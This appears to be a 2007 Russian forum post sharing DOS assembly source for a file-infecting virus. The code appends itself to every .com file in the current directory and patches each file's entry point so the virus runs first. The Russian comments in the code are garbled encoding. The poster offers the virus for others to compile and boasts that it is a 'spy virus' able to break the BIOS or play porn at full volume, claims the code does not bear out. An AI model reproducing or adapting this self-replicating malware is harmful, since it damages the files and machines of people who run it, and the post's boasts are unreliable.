CSEG segment para
assume CS:CSEG,DS:CSEG
org 100h
MAIN proc db 90h
db 0E9h
dw (offset VIRUS_START-104h)
mov AH,09h
mov DX,offset MES
int 21h
int 20h
MES db 'This is infected program !!!$'
VIRUS_START:
; ‚лпбЁ¬ иҐ вҐЄг饥 ᬥ饨Ґ
call $+3
pop BP
sub BP,3
; ‚®ббв ®ўЁ¬ 4 ЇҐаў® з «мле Ў ©в
mov DI,100h
mov SI,(offset OLD4-offset VIRUS_START)
add SI,BP
movsw
movsw
; ?饬 ЇҐаўл© д Ё«
mov AH,4Eh
mov DX,(offset FNAME-offset VIRUS_START)
add DX,BP
int 21h
jc EXIT
; ‡ а ¦ Ґ¬, Ґб«Ё ©¤Ґ
INF:
call INFECT
; ?饬 б«Ґ¤гойЁ©
mov AH,4Fh
mov DX,080h ; 80h = ᬥ饨Ґ DTA
int 21h
jnc INF
EXIT:
mov AX,100h
push AX
ret
INFECT:
; ЋвЄа®Ґ¬ ©¤Ґл© д Ё« Ё Ї®¬ҐбвЁ¬ ҐЈ® ®ЇЁб вҐ«м ў BX
mov AX,3D02h
mov DX,9Eh ; 9Eh = ᬥ饨Ґ Ё¬ҐЁ д ©« (1Eh ®в®бЁвҐ«м® з « DTA)
int 21h
mov BX,AX
; ‘зЁв Ґ¬ ЇҐаўлҐ 4 Ў ©в
mov AH,3Fh
mov CX,4
mov DX,(offset OLD4-offset VIRUS_START)
add DX,BP
int 21h
; …б«Ё ЇҐаўл© Ё§ бзЁв ле Ў ©в 90h, в® бзЁв Ґ¬, з⮠㦥 § а ¦Ґ
cmp byte ptr [BP+(offset OLD4-offset VIRUS_START)],90h
je CLOSE
; ЋЇаҐ¤Ґ«Ё¬ а §¬Ґа д Ё« Ё Ї®¤Ј®в®ўЁ¬ ҐЈ® ¤«п Їал¦Є ў ®ў®© Є®ЇЁЁ ўЁагб
mov AX,4202h
mov CX,0
mov DX,0
int 21h
sub AX,4
mov word ptr [BP+(offset FSIZE-offset VIRUS_START)],AX
; ‡ ЇЁиҐ¬ ⥫® ўЁагб
mov AH,40h
mov CX,(offset VIRUS_END-offset VIRUS_START)
mov DX,BP
int 21h
; ЏҐаҐе®¤Ё¬ ў з «® д Ё«
mov AX,4200h
mov CX,0
mov DX,0
int 21h
; ‡ ЇЁблў Ґ¬ 4 Ў ©в ¤«п Їал¦Є
mov AH,40h
mov CX,4
mov DX,(offset _NOP-offset VIRUS_START)
add DX,BP
int 21h
CLOSE:
; ‡ Єалў Ґ¬ д Ё«
mov AH,3Eh
int 21h
ret
OLD4 db 90h,90h,90h,90h
FNAME db '*.com',0
_NOP db 90h
_JMP db 0E9h
FSIZE dw 0
VIRUS_END:
MAIN endp
CSEG ends
end MAIN
Добавлено (2007 Янв 22, 00:01:30)
---------------------------------------------
Это вирус-шпион,моего изготовления))))может всё,что угодно)))
Ну например:включить парнуху на всю громкость,или сломать BIOS(новая мамка обеспечена).
Конечно,для тех кто шарит.
Я компеллировал в VASM и вам советую))))
Добавлено (2007 Янв 22, 00:02:32)
---------------------------------------------
Насчёт непотных символов,не бойтесь ассемблер всё разгребёт....